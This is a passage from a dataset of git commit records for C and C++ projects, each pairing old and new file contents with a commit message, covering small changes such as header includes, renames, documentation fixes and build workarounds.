LIMB_SIZE_IN_BITS (64)\n#define LIMB_SIZE_IN_BYTES (LIMB_SIZE_IN_BITS \/ 8)\n#define LIMB_SIZE_IN_HEX (LIMB_SIZE_IN_BITS \/ 4)\n#define NUM_LIMBS ((unsigned int) ceil((PRIME_FIELD_BINARY_BIT_LENGTH)\/ ((double) LIMB_SIZE_IN_BITS)))\n#define PRIME_FIELD_FULL_HEX_LENGTH (NUM_LIMBS * LIMB_SIZE_IN_HEX)\n\n#if (PRIME_FIELD_BINARY_BIT_LENGTH % LIMB_SIZE_IN_BITS) == 0\n#error \"PRIME_FIELD_BINARY_BIT_LENGTH must not be a multiple of LIMB_SIZE_IN_BITS\"\n#endif\n\n#endif\n","subject":"Add compile-time check for bit length of prime field","message":"Add compile-time check for bit length of prime field\n","lang":"C","license":"unlicense","repos":"sahandKashani\/prime-field-arithmetic-AVX2,sahandKashani\/prime-field-arithmetic-AVX2,sahandKashani\/prime-field-arithmetic-AVX2"}
{"commit":"4d3b86d589a605c04cde6af4e483adc7d58c994e","old_file":"plugins.h","new_file":"plugins.h","old_contents":"\/*\n  This file is part of MAMBO, a low-overhead dynamic binary modification tool:\n      https:\/\/github.com\/beehive-lab\/mambo\n\n  Copyright 2013-2016 Cosmin Gorgovan <cosmin at linux-geek dot org>\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#include \"dbm.h\"\n#include \"scanner_public.h\"\n#ifdef __arm__\n  #include \"api\/emit_thumb.h\"\n  #include \"api\/emit_arm.h\"\n#elif __aarch64__\n  #include \"api\/emit_a64.h\"\n#endif\n#include \"api\/helpers.h\"\n#include \"scanner_common.h\"\n","new_contents":"\/*\n  This file is part of MAMBO, a low-overhead dynamic binary modification tool:\n      https:\/\/github.com\/beehive-lab\/mambo\n\n  Copyright 2013-2016 Cosmin Gorgovan <cosmin at linux-geek dot org>\n\n  Licensed under the Apache License, Version 2.0 (the \"License\");\n  you may not use this file except in compliance with the License.\n  You may obtain a copy of the License at\n\n      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing, software\n  distributed under the License is distributed on an \"AS IS\" BASIS,\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  See the License for the specific language governing permissions and\n  limitations under the License.\n*\/\n\n#include \"dbm.h\"\n#include \"scanner_public.h\"\n#ifdef __arm__\n  #include \"api\/emit_thumb.h\"\n  #include \"api\/emit_arm.h\"\n  #include \"pie\/pie-arm-field-decoder.h\"\n  #include \"pie\/pie-arm-decoder.h\"\n  #include \"pie\/pie-thumb-field-decoder.h\"\n  #include \"pie\/pie-thumb-decoder.h\"\n#elif __aarch64__\n  #include \"api\/emit_a64.h\"\n  #include \"pie\/pie-a64-field-decoder.h\"\n  #include \"pie\/pie-a64-decoder.h\"\n#endif\n#include \"api\/helpers.h\"\n#include \"scanner_common.h\"\n","subject":"Add the decoder and field decoder headers to plugin.h","message":"Add the decoder and field decoder headers to plugin.h\n\nThis header file is included by plugins.\n","lang":"C","license":"apache-2.0","repos":"beehive-lab\/mambo,beehive-lab\/mambo"}
{"commit":"83c3058f205532ba510dbbc5e95b96fd228f0125","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(ICRNL | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\n\", c, c);\n    }\n  }\n  return 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(ICRNL | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\r\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\r\\n\", c, c);\n    }\n  }\n  return 0;\n}\n","subject":"Add a carriage return with the newline","message":"Add a carriage return with the newline\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"c36abb6c9776724e3d614da0c241544b8a795dc2","old_file":"matrix.c","new_file":"matrix.c","old_contents":"","new_contents":"#include <magick\/api.h>\n\n#include \"macros.h\"\n#include \"quantum.h\"\n\nvoid\nimage_matrix(const Image *image, double **out, ExceptionInfo *ex) {\n    register long y;\n    register long x;\n    register const PixelPacket *p;\n    unsigned int width = image->columns;\n    for(y = 0; y < image->rows; ++y) {\n        p = ACQUIRE_IMAGE_PIXELS(image, 0, y, width, 1, ex);\n        if (!p) {\n            continue;\n        }\n        for (x = 0; x < width; x++, p++) {\n            \/\/ image is GRAY, so all color channels are the same.\n            out[x][y] = ScaleQuantumToChar(p->red) \/ 255.0;\n        }\n    }\n}\n","subject":"Add missing file from previous commit","message":"Add missing file from previous commit\n","lang":"C","license":"mit","repos":"etix\/magick,500px\/magick,500px\/magick,500px\/magick,rainycape\/magick,rainycape\/magick,zuriu\/magick,rainycape\/magick,zuriu\/magick,zuriu\/magick,etix\/magick,etix\/magick"}
{"commit":"33a5982e32963ed1e0e86608acc9ef116006e32a","old_file":"src\/reverse_iterator.h","new_file":"src\/reverse_iterator.h","old_contents":"\/\/ Taken from https:\/\/gist.github.com\/arvidsson\/7231973\n\n#ifndef BITCOIN_REVERSE_ITERATOR_HPP\n#define BITCOIN_REVERSE_ITERATOR_HPP\n\n\/**\n * Template used for reverse iteration in C++11 range-based for loops.\n *\n *   std::vector<int> v = {1, 2, 3, 4, 5};\n *   for (auto x : reverse_iterate(v))\n *       std::cout << x << \" \";\n *\/\n\ntemplate <typename T>\nclass reverse_range\n{\n    T &x;\n\npublic:\n    reverse_range(T &x) : x(x) {}\n\n    auto begin() const -> decltype(this->x.rbegin())\n    {\n        return x.rbegin();\n    }\n\n    auto end() const -> decltype(this->x.rend())\n    {\n        return x.rend();\n    }\n};\n\ntemplate <typename T>\nreverse_range<T> reverse_iterate(T &x)\n{\n    return reverse_range<T>(x);\n}\n\n#endif \/\/ BITCOIN_REVERSE_ITERATOR_HPP\n","new_contents":"\/\/ Taken from https:\/\/gist.github.com\/arvidsson\/7231973\n\n#ifndef BITCOIN_REVERSE_ITERATOR_H\n#define BITCOIN_REVERSE_ITERATOR_H\n\n\/**\n * Template used for reverse iteration in C++11 range-based for loops.\n *\n *   std::vector<int> v = {1, 2, 3, 4, 5};\n *   for (auto x : reverse_iterate(v))\n *       std::cout << x << \" \";\n *\/\n\ntemplate <typename T>\nclass reverse_range\n{\n    T &m_x;\n\npublic:\n    reverse_range(T &x) : m_x(x) {}\n\n    auto begin() const -> decltype(this->m_x.rbegin())\n    {\n        return m_x.rbegin();\n    }\n\n    auto end() const -> decltype(this->m_x.rend())\n    {\n        return m_x.rend();\n    }\n};\n\ntemplate <typename T>\nreverse_range<T> reverse_iterate(T &x)\n{\n    return reverse_range<T>(x);\n}\n\n#endif \/\/ BITCOIN_REVERSE_ITERATOR_H\n","subject":"Rename member field according to the style guide.","message":"Rename member field according to the style guide.\n","lang":"C","license":"mit","repos":"Justaphf\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited,Justaphf\/BitcoinUnlimited,BitcoinUnlimited\/BitcoinUnlimited"}
{"commit":"bbd8d17bee25486c09a6d255d3a43c4a66ad1399","old_file":"include\/tiramisu\/MainPage.h","new_file":"include\/tiramisu\/MainPage.h","old_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Documentation of the API if the Tiramisu Compiler\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: a function in Tiramisu is equivalent to a function in C. It is composed of multiple computations. Each computation is the equivalent of a statement in C.\n * - The \\ref tiramisu::input class: an input is used to represent inputs passed to Tiramisu.  An input can represent a buffer or a scalar.\n * - The \\ref tiramisu::constant class: a constant is designed to represent constants that are supposed to be declared at the beginning of a Tiramisu function.\n * - The \\ref tiramisu::var class: used to represent loop iterators. Usually we declare a var (a loop iterator) and then use it for the declaration of computations. The range of that variable defines the loop range. When use witha buffer it defines the buffer size and when used with an input it defines the input size.\n * - The \\ref tiramisu::computation class: a computation in Tiramisu is the equivalent of a statement in C. It is composed of an expression and an iteration domain.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n *\/\n","new_contents":"\/** \\file\n * This file only exists to contain the front-page of the documentation\n *\/\n\n\/** \\mainpage Documentation of the Tiramisu Compiler API\n *\n * Tiramisu provides few classes to enable users to represent their program:\n * - The \\ref tiramisu::function class: used to declare Tiramisu functions.  A function in Tiramisu is equivalent to a function in C.  It is composed of multiple computations where each computation is the equivalent of a statement in C.\n * - The \\ref tiramisu::input class: used to represent inputs passed to Tiramisu.  An input can represent a buffer or a scalar.\n * - The \\ref tiramisu::constant class: a constant is designed to represent constants that are supposed to be declared at the beginning of a Tiramisu function. This can be used only to declare constant scalars.\n * - The \\ref tiramisu::var class: used to represent loop iterators. Usually we declare a var (a loop iterator) and then use it for the declaration of computations. The range of that variable defines the range of the loop around the computation (its iteration domain).  When used to declare a buffer it defines the buffer size and when used with an input it defines the input size.\n * - The \\ref tiramisu::computation class: used to declare a computation which is the equivalent of a statement in C.  A computation has an expression (tiramisu::expr) and iteration domain defined using an iterator variable.\n * - The \\ref tiramisu::buffer class: a class to represent memory buffers.\n * - The \\ref tiramisu::expr class: used to declare Tiramisu expressions (e.g., 4, 4 + 4, 4 * i, A(i, j), ...).\n *\/\n","subject":"Fix the documentation main page","message":"Fix the documentation main page\n","lang":"C","license":"mit","repos":"rbaghdadi\/tiramisu,rbaghdadi\/COLi,rbaghdadi\/ISIR,rbaghdadi\/ISIR,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/tiramisu,rbaghdadi\/COLi"}
{"commit":"a2daf4586b6ffd054d2ba8471e83808d06e65509","old_file":"examples\/getartist_c.c","new_file":"examples\/getartist_c.c","old_contents":"\/* Get artist by id. \n * \n * Usage:\n *  getartist 'artist id'\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <musicbrainz3\/mb_c.h>\n\nint\nmain(int argc, char **argv)\n{\n\tMBQuery query;\n\tMBArtist artist;\n\tchar data[256];\n\t\n\tif (argc < 2) {\n\t\tprintf(\"Usage: getartist 'artist id'\\n\");\n\t\treturn 1;\n\t}\n\t\n\tmb_webservice_init();\n\t\n\tquery = mb_query_new(NULL, NULL);\n\t\n\tartist = mb_query_get_artist_by_id(query, argv[1], NULL);\n\tif (!artist) {\n\t\tprintf(\"No artist returned.\\n\");\n\t\tmb_query_free(query);\n\t\treturn 1;\n\t}\n\t\n\tmb_artist_get_id(artist, data, 256);\n\tprintf(\"Id      : %s\\n\", data);\n\t\n\tmb_artist_get_type(artist, data, 256);\n\tprintf(\"Type\t: %s\\n\", data);\n\t\n\tmb_artist_get_name(artist, data, 256);\n\tprintf(\"Name\t: %s\\n\", data);\n\t\n\tmb_artist_get_sortname(artist, data, 256);\n\tprintf(\"SortName: %s\\n\", data);\n\n\tmb_artist_free(artist);\n\t\n\tmb_query_free(query);\n\t\n\treturn 0;\n}\n\n","new_contents":"\/* Get artist by id. \n * \n * Usage:\n *  getartist 'artist id'\n *\n * $Id$\n *\/\n\n#include <stdio.h>\n#include <musicbrainz3\/mb_c.h>\n\nint\nmain(int argc, char **argv)\n{\n\tMbQuery query;\n\tMbArtist artist;\n\tchar data[256];\n\t\n\tif (argc < 2) {\n\t\tprintf(\"Usage: getartist 'artist id'\\n\");\n\t\treturn 1;\n\t}\n\t\n\tmb_webservice_init();\n\t\n\tquery = mb_query_new(NULL, NULL);\n\t\n\tartist = mb_query_get_artist_by_id(query, argv[1], NULL);\n\tif (!artist) {\n\t\tprintf(\"No artist returned.\\n\");\n\t\tmb_query_free(query);\n\t\treturn 1;\n\t}\n\t\n\tmb_artist_get_id(artist, data, 256);\n\tprintf(\"Id      : %s\\n\", data);\n\t\n\tmb_artist_get_type(artist, data, 256);\n\tprintf(\"Type\t: %s\\n\", data);\n\t\n\tmb_artist_get_name(artist, data, 256);\n\tprintf(\"Name\t: %s\\n\", data);\n\t\n\tmb_artist_get_sortname(artist, data, 256);\n\tprintf(\"SortName: %s\\n\", data);\n\n\tmb_artist_free(artist);\n\t\n\tmb_query_free(query);\n\t\n\treturn 0;\n}\n\n","subject":"Rename MBArtist to MbArtist to make it compile.","message":"Rename MBArtist to MbArtist to make it compile.\n\n","lang":"C","license":"lgpl-2.1","repos":"matthewruhland\/libmusicbrainz,metabrainz\/libmusicbrainz,ianmcorvidae\/libmusicbrainz,matthewruhland\/libmusicbrainz,sebastinas\/libmusicbrainz,ianmcorvidae\/libmusicbrainz,matthewruhland\/libmusicbrainz,metabrainz\/libmusicbrainz,metabrainz\/libmusicbrainz,sebastinas\/libmusicbrainz,sebastinas\/libmusicbrainz"}
{"commit":"f1c400b56e0bd233a28553053e6fbf70f2d87331","old_file":"TestSupport\/QCOMockAlertVerifier.h","new_file":"TestSupport\/QCOMockAlertVerifier.h","old_contents":"\/\/  MockUIAlertController by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2015 Jonathan M. Reid. See LICENSE.txt\n\n#import <UIKit\/UIKit.h>\n\n#import \"QCOMockPopoverPresentationController.h\"    \/\/ Convenience import instead of @class\n\n\n\/**\n    Captures QCOMockAlertController arguments.\n *\/\n@interface QCOMockAlertVerifier : NSObject\n\n@property (nonatomic, assign) NSUInteger presentedCount;\n@property (nonatomic, strong) NSNumber *animated;\n@property (nonatomic, copy) NSString *title;\n@property (nonatomic, copy) NSString *message;\n@property (nonatomic, assign) UIAlertControllerStyle preferredStyle;\n@property (nonatomic, readonly) NSArray *actionTitles;\n@property (nonatomic, strong) QCOMockPopoverPresentationController *popover;\n\n- (UIAlertActionStyle)styleForButtonWithTitle:(NSString *)title;\n- (void)executeActionForButtonWithTitle:(NSString *)title;\n\n@end\n","new_contents":"\/\/  MockUIAlertController by Jon Reid, http:\/\/qualitycoding.org\/about\/\n\/\/  Copyright 2015 Jonathan M. Reid. See LICENSE.txt\n\n#import <UIKit\/UIKit.h>\n\n#import \"QCOMockPopoverPresentationController.h\"    \/\/ Convenience import instead of @class\n\n\n\/**\n    Captures mocked UIAlertController arguments.\n *\/\n@interface QCOMockAlertVerifier : NSObject\n\n@property (nonatomic, assign) NSUInteger presentedCount;\n@property (nonatomic, strong) NSNumber *animated;\n@property (nonatomic, copy) NSString *title;\n@property (nonatomic, copy) NSString *message;\n@property (nonatomic, assign) UIAlertControllerStyle preferredStyle;\n@property (nonatomic, readonly) NSArray *actionTitles;\n@property (nonatomic, strong) QCOMockPopoverPresentationController *popover;\n\n- (UIAlertActionStyle)styleForButtonWithTitle:(NSString *)title;\n- (void)executeActionForButtonWithTitle:(NSString *)title;\n\n@end\n","subject":"Change comment to eliminate reference to eliminated test double","message":"Change comment to eliminate reference to eliminated test double\n","lang":"C","license":"mit","repos":"foulkesjohn\/MockUIAlertController,yas375\/MockUIAlertController,carabina\/MockUIAlertController"}
{"commit":"595c211b7e9e60b34564a9fe0239ea4d88bf9546","old_file":"include\/WOCStdLib\/winnt.h","new_file":"include\/WOCStdLib\/winnt.h","old_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2015 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#include_next <winnt.h>","new_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2015 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#ifdef _ARM_\n\n\/\/ winnt.h includes some ARM intrinsics that aren't supported in\n\/\/ clang and cause front end compilation breaks. Because of this,\n\/\/ change the MSC version to be less than what is needed to\n\/\/ support that option.\n#pragma push_macro(\"_MSC_FULL_VER\")\n\n#if (_MSC_FULL_VER >= 170040825)\n#undef _MSC_FULL_VER\n#define _MSC_FULL_VER 170040824\n#endif\n\n#include_next <winnt.h>\n\n#pragma pop_macro(\"_MSC_FULL_VER\")\n\n#else \/\/ Not _ARM_\n\n#include_next <winnt.h>\n\n#endif","subject":"Fix ARM build in CoreFoundation","message":"Fix ARM build in CoreFoundation\n\nDescription:\nwinnt.h includes some ARM intrinsics that aren't supported in\nclang and cause front end compilation breaks. Because of this,\nchange the MSC version to be less than what is needed to\nsupport that option.\n\nHow verified:\nBuilds now\n\nReviewed by: jaredh, duhowett, jordansa\n","lang":"C","license":"mit","repos":"pradipd\/WinObjC,bbowman\/WinObjC,bbowman\/WinObjC,bbowman\/WinObjC,bSr43\/WinObjC,yweijiang\/WinObjC,nathpete-msft\/WinObjC,bSr43\/WinObjC,bSr43\/WinObjC,rajsesh-msft\/WinObjC,ehren\/WinObjC,Microsoft\/WinObjC,MSFTFox\/WinObjC,autodesk-forks\/WinObjC,autodesk-forks\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,ehren\/WinObjC,autodesk-forks\/WinObjC,rajsesh-msft\/WinObjC,vkvenkat\/WinObjC,ehren\/WinObjC,ehren\/WinObjC,pradipd\/WinObjC,pradipd\/WinObjC,afaruqui\/WinObjC,vkvenkat\/WinObjC,yweijiang\/WinObjC,Microsoft\/WinObjC,MSFTFox\/WinObjC,yweijiang\/WinObjC,pradipd\/WinObjC,ehren\/WinObjC,afaruqui\/WinObjC,nathpete-msft\/WinObjC,autodesk-forks\/WinObjC,MSFTFox\/WinObjC,rajsesh-msft\/WinObjC,Microsoft\/WinObjC,vkvenkat\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,bSr43\/WinObjC,bbowman\/WinObjC,pradipd\/WinObjC,vkvenkat\/WinObjC,Microsoft\/WinObjC,bbowman\/WinObjC,yweijiang\/WinObjC,rajsesh-msft\/WinObjC,MSFTFox\/WinObjC,nathpete-msft\/WinObjC"}
{"commit":"e2262de49c039d58bdff68da136bb08309ef57d2","old_file":"test\/default\/cmptest.h","new_file":"test\/default\/cmptest.h","old_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    if (xmain() != 0) {\n        return 99;\n    }\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","new_contents":"\n#ifndef __CMPTEST_H__\n#define __CMPTEST_H__\n\n#include <stdio.h>\n\n#include \"sodium.h\"\n\n#ifndef TEST_SRCDIR\n# define TEST_SRCDIR \".\"\n#endif\n\n#define TEST_NAME_RES TEST_NAME \".res\"\n#define TEST_NAME_OUT TEST_SRCDIR \"\/\" TEST_NAME \".exp\"\n\n#ifdef HAVE_ARC4RANDOM\n# undef rand\n# define rand(X) arc4random(X)\n#endif\n\nFILE *fp_res;\nint   xmain(void);\n\nint main(void)\n{\n    FILE *fp_out;\n    int   c;\n\n    if ((fp_res = fopen(TEST_NAME_RES, \"w+\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_RES \")\");\n        return 99;\n    }\n    if (sodium_init() != 0) {\n        return 99;\n    }\n    if (xmain() != 0) {\n        return 99;\n    }\n    rewind(fp_res);\n    if ((fp_out = fopen(TEST_NAME_OUT, \"r\")) == NULL) {\n        perror(\"fopen(\" TEST_NAME_OUT \")\");\n        return 99;\n    }\n    do {\n        if ((c = fgetc(fp_res)) != fgetc(fp_out)) {\n            return 99;\n        }\n    } while (c != EOF);\n\n    return 0;\n}\n\n#undef  printf\n#define printf(...) fprintf(fp_res, __VA_ARGS__)\n#define main xmain\n\n#endif\n","subject":"Add a default value for TEST_SRCDIR","message":"Add a default value for TEST_SRCDIR\n","lang":"C","license":"isc","repos":"optedoblivion\/android_external_libsodium,optedoblivion\/android_external_libsodium,pyparallel\/libsodium,paragonie-scott\/libsodium,rustyhorde\/libsodium,rustyhorde\/libsodium,donpark\/libsodium,mvduin\/libsodium,zhuqling\/libsodium,donpark\/libsodium,kytvi2p\/libsodium,SpiderOak\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,rustyhorde\/libsodium,soumith\/libsodium,pyparallel\/libsodium,kytvi2p\/libsodium,JackWink\/libsodium,mvduin\/libsodium,GreatFruitOmsk\/libsodium,HappyYang\/libsodium,akkakks\/libsodium,soumith\/libsodium,JackWink\/libsodium,pmienk\/libsodium,GreatFruitOmsk\/libsodium,netroby\/libsodium,eburkitt\/libsodium,SpiderOak\/libsodium,Payshare\/libsodium,Payshare\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,eburkitt\/libsodium,eburkitt\/libsodium,kytvi2p\/libsodium,akkakks\/libsodium,netroby\/libsodium,zhuqling\/libsodium,GreatFruitOmsk\/libsodium,Payshares\/libsodium,Payshares\/libsodium,zhuqling\/libsodium,soumith\/libsodium,JackWink\/libsodium,mvduin\/libsodium,SpiderOak\/libsodium,rustyhorde\/libsodium,SpiderOak\/libsodium,akkakks\/libsodium,tml\/libsodium,paragonie-scott\/libsodium,optedoblivion\/android_external_libsodium,netroby\/libsodium,pmienk\/libsodium,Payshare\/libsodium,donpark\/libsodium,akkakks\/libsodium,HappyYang\/libsodium,pyparallel\/libsodium,tml\/libsodium,tml\/libsodium,HappyYang\/libsodium,pmienk\/libsodium,paragonie-scott\/libsodium,Payshares\/libsodium"}
{"commit":"ee185b401e49842c5a12dcf76bb82f853ba6c947","old_file":"firmware\/src\/Channel.h","new_file":"firmware\/src\/Channel.h","old_contents":"#include <inttypes.h>\n#include \"Effect.h\"\n#include \"Inputs.h\"\n#include \"Output.h\"\n\nclass Channel {\npublic:\n\tChannel(uint8_t _inputId, Output *_output);\n\tvoid read(Inputs *inputs);\n\tvoid setEffect(Effect *newEffect);\n\tvoid runEffect();\n\tinline Effect *getEffect() {return effect;};\n\tuint8_t inputId;\n\tEffect *effect;\nprivate:\n\tuint16_t level;\n\tOutput *output;\n};","new_contents":"#include <inttypes.h>\n#include \"Effect.h\"\n#include \"Inputs.h\"\n#include \"Output.h\"\n\nclass Channel {\npublic:\n\tChannel(uint8_t _inputId, Output *_output);\n\tvoid read(Inputs *inputs);\n\tvoid setEffect(Effect *newEffect);\n\tvoid runEffect();\n\tinline Effect *getEffect() {return effect;};\n\tuint8_t inputId;\n\tEffect *effect;\n\tOutput *output;\nprivate:\n\tuint16_t level;\n};","subject":"Make vu meter react to trigger level","message":"Make vu meter react to trigger level\n","lang":"C","license":"apache-2.0","repos":"Miceuz\/leds-got-waxed,Miceuz\/leds-got-waxed,Miceuz\/leds-got-waxed,Miceuz\/leds-got-waxed,Miceuz\/leds-got-waxed"}
{"commit":"3350085ed7177cdc387d162a71073b787ba401be","old_file":"simulator\/mips\/mips.h","new_file":"simulator\/mips\/mips.h","old_contents":"\/**\n * mips.h - all the aliases to MIPS ISA\n * @author Aleksandr Misevich\n * Copyright 2018 MIPT-MIPS\n *\/ \n\n#ifndef MIPS_H_\n#define MIPS_H_\n\n#include <infra\/instrcache\/instr_cache_memory.h>\n#include \"mips_instr.h\"\n\nstruct MIPS\n{\n    using FuncInstr = MIPSInstr;\n    using Register = MIPSRegister;\n    using Memory = InstrMemory<MIPSInstr>;\n    using RegisterUInt = uint32;\n    using RegDstUInt = uint64; \n};\n\n#endif \/\/ MIPS_H_\n","new_contents":"\/**\n * mips.h - all the aliases to MIPS ISA\n * @author Aleksandr Misevich\n * Copyright 2018 MIPT-MIPS\n *\/ \n\n#ifndef MIPS_H_\n#define MIPS_H_\n\n#include <infra\/instrcache\/instr_cache_memory.h>\n#include \"mips_instr.h\"\n\nstruct MIPS\n{\n    using FuncInstr = MIPSInstr;\n    using Register = MIPSRegister;\n    using Memory = InstrMemory<MIPSInstr>;\n    using RegisterUInt = uint32;\n    using RegDstUInt = doubled_t<uint32>; \/\/ MIPS may produce output to 2x HI\/LO register\n};\n\n#endif \/\/ MIPS_H_\n","subject":"Use doubled_t for MIPS defines","message":"Use doubled_t for MIPS defines","lang":"C","license":"mit","repos":"MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips,MIPT-ILab\/mipt-mips-2015,MIPT-ILab\/mipt-mips-2015"}
{"commit":"df8d6af61cacabf64ec3e470f2bb4d0f985a86bb","old_file":"src\/utility\/pimpl_impl.h","new_file":"src\/utility\/pimpl_impl.h","old_contents":"#ifndef PIMPL_IMPL_H\n#define PIMPL_IMPL_H\n\n#include <utility>\n\ntemplate<typename T>\npimpl<T>::pimpl() : m{ new T{} } { }\n\ntemplate<typename T>\ntemplate<typename ...Args>\npimpl<T>::pimpl( Args&& ...args )\n  : m{ new T{ std::forward<Args>(args)... } } { }\n\ntemplate<typename T>\npimpl<T>::~pimpl() { }\n\ntemplate<typename T>\nT* pimpl<T>::operator->() { return m.get(); }\n\ntemplate<typename T>\nconst T* pimpl<T>::operator->() const { return m.get(); }\n\ntemplate<typename T>\nT& pimpl<T>::operator*() { return *m.get(); }\n\n#endif\n","new_contents":"#ifndef PIMPL_IMPL_H\n#define PIMPL_IMPL_H\n\n#include \"make_unique.h\"\n#include <utility>\n\ntemplate<typename T>\npimpl<T>::pimpl() : m{ make_unique<T>() } { }\n\ntemplate<typename T>\ntemplate<typename ...Args>\npimpl<T>::pimpl( Args&& ...args )\n  : m{ make_unique<T>(std::forward<Args>(args)...) } { }\n\ntemplate<typename T>\npimpl<T>::~pimpl() { 